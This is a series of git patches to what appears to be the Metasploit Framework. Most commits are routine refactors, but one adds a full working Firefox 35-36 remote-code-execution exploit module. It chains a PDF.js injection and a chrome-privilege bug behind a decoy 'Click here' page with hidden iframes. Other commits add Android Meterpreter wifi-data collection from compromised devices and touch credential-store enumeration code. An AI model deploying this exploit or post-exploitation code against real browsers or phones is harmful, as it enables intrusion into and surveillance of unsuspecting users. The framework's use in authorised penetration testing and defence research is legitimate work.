Maps URL: #{g.google_maps_url}") end - - end - - # # Name for this dispatcher # def name 'Android' end - -end - +end end end end diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index 1c9d7d2f84..61709e327b 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'rex' -require 'rex/google_geolocation' +require 'rex/google/geolocation' class Metasploit3 < Msf::Post @@ -84,12 +84,11 @@ class Metasploit3 < Msf::Post end def perform_geolocation(wlan_list) - if wlan_list.blank? print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") return end - g = Rex::GoogleGeolocation.new + g = Rex::Google::Geolocation.new wlan_list.each do |wlan| g.add_wlan(*wlan) diff --git a/tools/google_geolocate_bssid.rb b/tools/google_geolocate_bssid.rb index 20b532cbce..1c93b47150 100755 --- a/tools/google_geolocate_bssid.rb +++ b/tools/google_geolocate_bssid.rb @@ -9,7 +9,7 @@ while File.symlink?(msfbase) end $LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'rex/google_geolocation' +require 'rex/google/geolocation' require 'optparse' if ARGV.empty? @@ -21,7 +21,7 @@ if ARGV.empty? exit(1) end -g = Rex::GoogleGeolocation.new +g = Rex::Google::Geolocation.new ARGV.each do |mac| g.add_wlan(mac, nil, -83) end From 9720e8e081c4175f07e9f14211f9c5858dcdc3af Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Sat, 15 Aug 2015 19:49:55 -0500 Subject: [PATCH 085/119] normalize osx to darwin so python meterp works --- modules/post/multi/gather/wlan_geolocate.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index 61709e327b..cdb498623a 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -114,9 +114,9 @@ class Metasploit3 < Msf::Post else # For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform platform = session.sys.config.sysinfo['OS'] + platform = 'osx' if platform =~ /darwin/i end - case platform when /win/i From a133e98ba5870c5b02c2347018fd2ac07cad3fd6 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sat, 15 Aug 2015 17:52:47 -0500 Subject: [PATCH 086/119] Adds a ff 35-36 RCE vector based off the recent ff bug. --- .../firefox_pdfjs_privilege_escalation.rb | 256 ++++++++++++++++++ .../multi/browser/firefox_proxy_prototype.rb | 3 +- 2 files changed, 258 insertions(+), 1 deletion(-) create mode 100644 modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb diff --git a/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb b/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb new file mode 100644 index 0000000000..6f189edac5 --- /dev/null +++ b/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb @@ -0,0 +1,256 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Firefox PDF.js Privileged Javascript Injection', + 'Description' => %q{ + This module gains remote code execution on Firefox 35-36 by abusing a + privilege escalation bug in resource:// URIs. PDF.js is used to exploit + the bug. This exploit requires the user to click anywhere on the page to + trigger the vulnerability. + }, + 'Author' => [ + 'Unknown', # PDF.js injection injection code was taken from a 0day + 'Marius Mlynski', # discovery and pwn2own exploit + 'joev' # copypasta monkey, CVE-2015-0802 + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-0816'], # pdf.js can load chrome:// + ['CVE', '2015-0802'] # can access messageManager property in chrome window + ], + 'Targets' => [ + [ + 'Universal (Javascript XPCOM Shell)', { + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX + } + ], + [ + 'Native Payload', { + 'Platform' => %w{ java linux osx solaris win }, + 'Arch' => ARCH_ALL + } + ] + ], + 'DefaultTarget' => 0, + 'BrowserRequirements' => { + :source => 'script', + :ua_name => HttpClients::FF, + :ua_ver => lambda { |ver| ver.to_i.between?(35, 36) } + } + )) + + register_options([ + OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ]) + ], self.class) + end + + def on_request_exploit(cli, request, target_info) + print_status('Sending exploit...') + send_response_html(cli, html) + end + + def html + "<!doctype html><html><body>#{datastore['CONTENT'] || default_html}"+ + "<script>#{js}</script></body></html>" + end + + def default_html + "The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected." + end + + def js + key = Rex::Text.rand_text_alpha(5 + rand(12)) + frame = Rex::Text.rand_text_alpha(5 + rand(12)) + r = Rex::Text.rand_text_alpha(5 + rand(12)) + opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin + + <<-EOJS +function xml2string(obj) { + return new XMLSerializer().serializeToString(obj); +} + +function __proto(obj) { + return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__; +} + +function get(path, callback, timeout, template, value) { + callback = _(callback); + if (template && value) { + callback = callback.replace(template, value); + } + js_call1 = 'javascript:' + _(function() { + try { + done = false; + window.onclick = function() { + if (done) { return; } done = true; + q = open("%url%", "q", "chrome,,top=-9999px,left=-9999px,height=1px,width=1px"); + setTimeout(function(){ + q.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>'; + + setTimeout(function(){ + var opts = #{JSON.unparse(opts)}; + var key = opts['#{key}']; + q.messageManager.loadFrameScript('data:,'+key, false); + setTimeout(function(){ + q.close(); + }, 100) + }, 100) + }, 100); + } + } catch (e) { + history.back(); + } + undefined; + }, "%url%", path); + js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call1); + })); + setTimeout((function() { + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call2); + })); + }), timeout); +} + +function get_data(obj) { + data = null; + try { + data = obj.document.documentElement.innerHTML; + if (data.indexOf('dirListing') < 0) { + throw new Error(); + } + } catch (e) { + if (this.document instanceof XMLDocument) { + data = xml2string(this.document); + } else { + try { + if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') { + data = this.document.body.firstChild.textContent; + } else { + throw new Error(); + } + } catch (e) { + try { + if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {; + return null; + } else { + throw new Error(); + } + } catch (e) { + ;; + } + } + } + } + return data; +} + +function _(s, template, value) { + s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1]; + s = s.substring(0, s.length - 1); + if (template && value) { + s = s.replace(template, value); + } + s += __proto; + s += xml2string; + s += get_data; + s = s.replace(/\\s\\/\\/.*\\n/g, ""); + s = s + ";undefined"; + return s; +} + +function get_sandbox_context() { + if (window.my_win_id == null) { + for (var i = 0; i < 20; i++) { + try { + if (window[i].location.toString().indexOf("view-source:") != -1) { + my_win_id = i; + break; + } + } catch (e) {} + } + }; + if (window.my_win_id == null) + return; + clearInterval(sandbox_context_i); + object.data = 'view-source:' + blobURL; + window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,'; + object.data = 'data:text/html,<'+'html/>'; + window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+ + '"position:absolute; left:-9999px;" onload = "'+_(function(){ + window.wrappedJSObject.sandboxContext=(function(cmd) { + with(importFunction.constructor('return this')()) { + return eval(cmd); + } + }); + }) + '"/>'); +} + +var HIDDEN = 'position:absolute;left:-9999px;height:1px;width:1px;'; +var i = document.createElement("iframe"); +i.id = "i"; +i.style=HIDDEN; +i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>"; +document.documentElement.appendChild(i); +i.onload = function() { + if (this.contentDocument.styleSheets.length > 0) { + var i2 = document.createElement("iframe"); + i2.id = "i2"; + i2.style='opacity: 0;position:absolute;top:0;left:0;right:0;bottom:0;'; + i2.height = window.innerHeight+'px'; + i2.width = window.innerWidth+'px'; + i2.src = "data:application/pdf,"; + document.documentElement.appendChild(i2); + pdfBlob = new Blob([''], { + type: 'application/pdf' + }); + blobURL = URL.createObjectURL(pdfBlob); + object = document.createElement('object'); + object.style=HIDDEN; + object.data = 'data:application/pdf,'; + object.onload = (function() { + sandbox_context_i = setInterval(get_sandbox_context, 200); + object.onload = null; + object.data = 'view-source:' + location.href; + return; + }); + document.documentElement.appendChild(object); + } else { + this.contentWindow.location.reload(); + } +} + +document.body.style.height = window.innerHeight+'px'; + +var kill = setInterval(function() { + if (window.sandboxContext) { + var f = "chrome://browser/content/browser.xul"; + get(f, function() {}, 0, "%URL%", f); + clearInterval(kill); + } else { + return; + } +},20); + +EOJS + end +end diff --git a/modules/exploits/multi/browser/firefox_proxy_prototype.rb b/modules/exploits/multi/browser/firefox_proxy_prototype.rb index afaa21317a..8da445326f 100644 --- a/modules/exploits/multi/browser/firefox_proxy_prototype.rb +++ b/modules/exploits/multi/browser/firefox_proxy_prototype.rb @@ -26,7 +26,8 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DisclosureDate' => "Jan 20 2014", 'References' => [ - ['CVE', '2014-8636'], + ['CVE', '2014-8636'], # proxy injection + ['CVE', '2015-0802'], # can access messageManager property in chrome window ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ] From 98e2d074c39477ecb667183ed18d48b1bd3337b3 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sat, 15 Aug 2015 20:08:06 -0500 Subject: [PATCH 087/119] Add disclosure date. --- .../multi/browser/firefox_pdfjs_privilege_escalation.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb b/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb index 6f189edac5..7cf0100b51 100644 --- a/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb +++ b/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb @@ -21,10 +21,11 @@ class Metasploit3 < Msf::Exploit::Remote trigger the vulnerability. }, 'Author' => [ - 'Unknown', # PDF.js injection injection code was taken from a 0day + 'Unknown', # PDF.js injection code was taken from a 0day 'Marius Mlynski', # discovery and pwn2own exploit 'joev' # copypasta monkey, CVE-2015-0802 ], + 'DisclosureDate' => "Mar 31 2015", 'License' => MSF_LICENSE, 'References' => [ From 92958bdf8b2620c50f1e51616736d53c8f62ff9b Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Sun, 16 Aug 2015 11:21:22 -0500 Subject: [PATCH 088/119] prefer && to 'and' for consistent order-of-operations --- lib/msf/core/handler/reverse_http.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 6a92c6e416..fb643c2fea 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -94,7 +94,7 @@ module ReverseHttp callback_host = nil # Extract whatever the client sent us in the Host header - if req and req.headers and req.headers['Host'] + if req && req.headers && req.headers['Host'] callback_host = req.headers['Host'] end From 241593117b65ce7f3ffca525dc21209e305e7cc0 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Tue, 18 Aug 2015 00:53:25 +1000 Subject: [PATCH 089/119] First pass of the android interval collection --- .../meterpreter/extensions/android/android.rb | 65 +++++++++++++ .../meterpreter/extensions/android/tlv.rb | 64 +++++++------ .../ui/console/command_dispatcher/android.rb | 91 +++++++++++++++++-- 3 files changed, 185 insertions(+), 35 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 86ea185dc4..750e1b5cf6 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -15,6 +15,27 @@ module Android # extension by Anwar Mohamed (@anwarelmakrahy) ### class Android < Extension + + COLLECT_TYPE_WIFI = 1 + + COLLECT_ACTION_START = 1 + COLLECT_ACTION_PAUSE = 2 + COLLECT_ACTION_RESUME = 3 + COLLECT_ACTION_STOP = 4 + COLLECT_ACTION_DUMP = 5 + + COLLECT_TYPES = { + 'wifi' => COLLECT_TYPE_WIFI + } + + COLLECT_ACTIONS = { + 'start' => COLLECT_ACTION_START, + 'pause' => COLLECT_ACTION_PAUSE, + 'resume' => COLLECT_ACTION_START, + 'stop' => COLLECT_ACTION_STOP, + 'dump' => COLLECT_ACTION_DUMP + } + def initialize(client) super(client, 'android') @@ -29,6 +50,14 @@ class Android < Extension ]) end + def collect_actions + return @@collect_action_list ||= COLLECT_ACTIONS.keys + end + + def collect_types + return @@collect_type_list ||= COLLECT_TYPES.keys + end + def device_shutdown(n) request = Packet.create_request('device_shutdown') request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n) @@ -36,6 +65,42 @@ class Android < Extension response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value end + def interval_collect(opts) + request = Packet.create_request('interval_collect') + request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]]) + request.add_tlv(TLV_TYPE_COLLECT_TYPE, COLLECT_TYPES[opts[:type]]) + request.add_tlv(TLV_TYPE_COLLECT_TIMEOUT, opts[:timeout]) + response = client.send_request(request) + + result = { + headers: [], + collections: [] + } + + case COLLECT_TYPES[opts[:type]] + when COLLECT_TYPE_WIFI + result[:headers] = ['BSSID', 'SSID', 'Level'] + response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g| + collection = { + timestamp: g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP), + entries: [] + } + + g.each(TLV_TYPE_COLLECT_RESULT_WIFI) do |w| + collection[:entries] << [ + w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID), + w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID), + 0x100000000 - w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL) + ] + end + + result[:collections] << collection + end + end + + result + end + def dump_sms sms = [] request = Packet.create_request('dump_sms') diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index b95b2119ac..55925b60cb 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -7,40 +7,52 @@ module Meterpreter module Extensions module Android -TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001) -TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002) -TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003) -TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004) -TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005) -TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006) +TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001) +TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002) +TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003) +TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004) +TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005) +TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006) -TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007) -TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008) -TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009) -TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010) +TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007) +TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008) +TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009) +TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010) -TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011) -TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012) +TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011) +TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012) -TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013) -TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014) -TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015) -TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016) -TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017) -TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018) +TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013) +TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014) +TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015) +TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016) +TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017) +TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018) -TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) +TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) -TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) +TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) -TLV_TYPE_SMS_SR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9021) +TLV_TYPE_SMS_SR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9021) -TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) -TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023) -TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024) -TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025) +TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) +TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023) +TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024) +TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025) -TLV_TYPE_SMS_DR = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9026) +TLV_TYPE_SMS_DR = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9026) + +TLV_TYPE_COLLECT_TYPE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9050) +TLV_TYPE_COLLECT_ACTION = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9051) +TLV_TYPE_COLLECT_TIMEOUT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9052) +TLV_TYPE_COLLECT_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9053) +TLV_TYPE_COLLECT_RESULT_TIMESTAMP = TLV_META_TYPE_QWORD | (TLV_EXTENSIONS + 9054) + +# Reuse existing IDs for these +TLV_TYPE_COLLECT_RESULT_WIFI = TLV_TYPE_WLAN_GROUP +TLV_TYPE_COLLECT_RESULT_WIFI_BSSID = TLV_TYPE_WLAN_BSSID +TLV_TYPE_COLLECT_RESULT_WIFI_SSID = TLV_TYPE_WLAN_SSID +TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL = TLV_TYPE_WLAN_LEVEL end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index 7891523682..4160666e4f 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -2,6 +2,7 @@ require 'rex/post/meterpreter' require 'msf/core/auxiliary/report' require 'rex/google/geolocation' +require 'date' module Rex module Post @@ -27,18 +28,20 @@ class Console::CommandDispatcher::Android 'check_root' => 'Check if device is rooted', 'device_shutdown' => 'Shutdown device', 'send_sms' => 'Sends SMS from target session', - 'wlan_geolocate' => 'Get current lat-long using WLAN information' + 'wlan_geolocate' => 'Get current lat-long using WLAN information', + 'interval_collect' => 'Manage interval collection capabilities' } reqs = { - 'dump_sms' => [ 'dump_sms' ], - 'dump_contacts' => [ 'dump_contacts' ], - 'geolocate' => [ 'geolocate' ], - 'dump_calllog' => [ 'dump_calllog' ], - 'check_root' => [ 'check_root' ], - 'device_shutdown' => [ 'device_shutdown'], - 'send_sms' => [ 'send_sms' ], - 'wlan_geolocate' => [ 'wlan_geolocate' ] + 'dump_sms' => ['dump_sms'], + 'dump_contacts' => ['dump_contacts'], + 'geolocate' => ['geolocate'], + 'dump_calllog' => ['dump_calllog'], + 'check_root' => ['check_root'], + 'device_shutdown' => ['device_shutdown'], + 'send_sms' => ['send_sms'], + 'wlan_geolocate' => ['wlan_geolocate'], + 'interval_collect' => ['interval_collect'] } # Ensure any requirements of the command are met @@ -47,6 +50,76 @@ class Console::CommandDispatcher::Android end end + def interval_collect_usage + print_line('Usage: interval_collect <parameters>') + print_line + print_line('Specifies an action to perform on a collector type.') + print_line + print_line(@@interval_collect_opts.usage) + end + + def cmd_interval_collect(*args) + @@interval_collect_opts ||= Rex::Parser::Arguments.new( + '-h' => [false, 'Help Banner'], + '-a' => [true, "Action (required, one of: #{client.android.collect_actions.join(', ')})"], + '-c' => [true, "Collector type (required, one of: #{client.android.collect_types.join(', ')})"], + '-t' => [true, 'Collect poll timeout period in seconds (default: 30)'] + ) + + opts = { + action: nil, + type: nil, + timeout: 30 + } + + @@interval_collect_opts.parse(args) do |opt, idx, val| + case opt + when '-a' + opts[:action] = val.downcase + when '-c' + opts[:type] = val.downcase + when '-t' + opts[:timeout] = val.to_i + opts[:timeout] = 30 if opts[:timeout] <= 0 + end + end + + unless client.android.collect_actions.include?(opts[:action]) + interval_collect_usage + return + end + + type = args.shift.downcase + + unless client.android.collect_types.include?(opts[:type]) + interval_collect_usage + return + end + + + result = client.android.interval_collect(opts) + if result[:headers].length > 0 && result[:collections].length > 0 + result[:collections].each do |c| + time = Time.at(c[:timestamp]).to_datetime + table = Rex::Ui::Text::Table.new( + 'Header' => "Captured #{opts[:type]} data at #{time.strftime('%Y-%m-%d %H:%M:%S')}", + 'SortIndex' => -1, + 'Columns' => result[:headers], + 'Indent' => 0 + ) + + c[:entries].each do |e| + table << e + end + + print_line + print_line(table.to_s) + end + else + print_good('Interval action completed successfully') + end + end + def cmd_device_shutdown(*args) seconds = 0 device_shutdown_opts = Rex::Parser::Arguments.new( From e7433b81bd87548d623a954c6276be16e290af9b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 17 Aug 2015 10:28:10 -0500 Subject: [PATCH 090/119] Reuse architecture check --- .../post/windows/gather/credentials/enum_cred_store.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/enum_cred_store.rb b/modules/post/windows/gather/credentials/enum_cred_store.rb index b81974452c..3a745ee044 100644 --- a/modules/post/windows/gather/credentials/enum_cred_store.rb +++ b/modules/post/windows/gather/credentials/enum_cred_store.rb @@ -29,8 +29,12 @@ class Metasploit3 < Msf::Post #RAILGUN HELPER FUNCTIONS ############################ def is_86 - pid = session.sys.process.open.pid - return session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" + if @is_86_check.nil? + pid = session.sys.process.open.pid + @is_86_check = session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" + end + + @is_86_check end def pack_add(data) From a5bed0198a2b3017fe1bd3cfc3d1a87069d64d70 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 17 Aug 2015 11:08:40 -0500 Subject: [PATCH 091/119] Use each_char --- modules/nops/x64/simple.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/nops/x64/simple.rb b/modules/nops/x64/simple.rb index 7f4f84e2c5..765a636309 100644 --- a/modules/nops/x64/simple.rb +++ b/modules/nops/x64/simple.rb @@ -218,7 +218,7 @@ class Metasploit3 < Msf::Nop INSTRUCTIONS.each do | instruction | good = true; # If the instruction contains some bad chars we wont use it... - badchars.each do | bc | + badchars.each_char do | bc | if instruction[I_OP].include?( bc ) good = false break From 0aa958dac0f1c3bf3f16fbba0cf6347be2c36e94 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 17 Aug 2015 13:47:52 -0500 Subject: [PATCH 092/119] Allow unserialization on hosts v5 --- lib/msf/core/db_manager/import/metasploit_framework/xml.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb index 6a5ac28cd0..8ca86081fa 100644 --- a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb +++ b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb @@ -241,7 +241,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML host_data = {} host_data[:task] = args[:task] host_data[:workspace] = wspace - host_data[:host] = nils_for_nulls(host.elements["address"].text.to_s.strip) + host_data[:host] = nils_for_nulls(unserialize_object(host.elements["address"])) if bl.include? host_data[:host] next else From c52da9f50d16987b3f07ea04dd27b58e3f8ae9cb Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Mon, 17 Aug 2015 14:26:51 -0500 Subject: [PATCH 093/119] Add regression spec for #5856 --- spec/lib/msf/core/payload_generator_spec.rb | 71 +++++++++++++++++---- 1 file changed, 60 insertions(+), 11 deletions(-) diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index a61ab5f9e5..7759d8c831 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -347,28 +347,77 @@ describe Msf::PayloadGenerator do end context '#prepend_nops' do - before(:each) do - load_and_create_module( - module_type: 'nop', - reference_name: 'x86/opty2' - ) - end - context 'when nops are set to 0' do + let(:nops) { 0 } + + before(:each) do + load_and_create_module( + module_type: 'nop', + reference_name: 'x86/opty2' + ) + end + it 'returns the unmodified shellcode' do expect(payload_generator.prepend_nops(shellcode)).to eq shellcode end end context 'when nops are set to more than 0' do + let(:badchars) { "" } let(:nops) { 20 } - it 'returns shellcode of the correct size' do - expect(payload_generator.prepend_nops(shellcode).length).to eq 24 + context 'when payload is x86' do + before(:each) do + load_and_create_module( + module_type: 'nop', + reference_name: 'x86/opty2' + ) + end + + it 'returns shellcode of the correct size' do + final = payload_generator.prepend_nops(shellcode) + puts "in spec, x86 final: #{final.inspect}" + expect(final.length).to eq 24 + end + + it 'puts the nops in front of the original shellcode' do + expect(payload_generator.prepend_nops(shellcode)[20,24]).to eq shellcode + end + end - it 'puts the nops in front of the original shellcode' do - expect(payload_generator.prepend_nops(shellcode)[20,24]).to eq shellcode + context 'when payload is Windows x64' do + let(:arch) { 'x86_64' } + let(:payload_module) { + load_and_create_module( + ancestor_reference_names: %w{ + stagers/windows/x64/reverse_tcp + stages/windows/x64/meterpreter + }, + module_type: 'payload', + reference_name: 'windows/x64/meterpreter/reverse_tcp' + ) + } + + before(:each) do + load_and_create_module( + module_type: 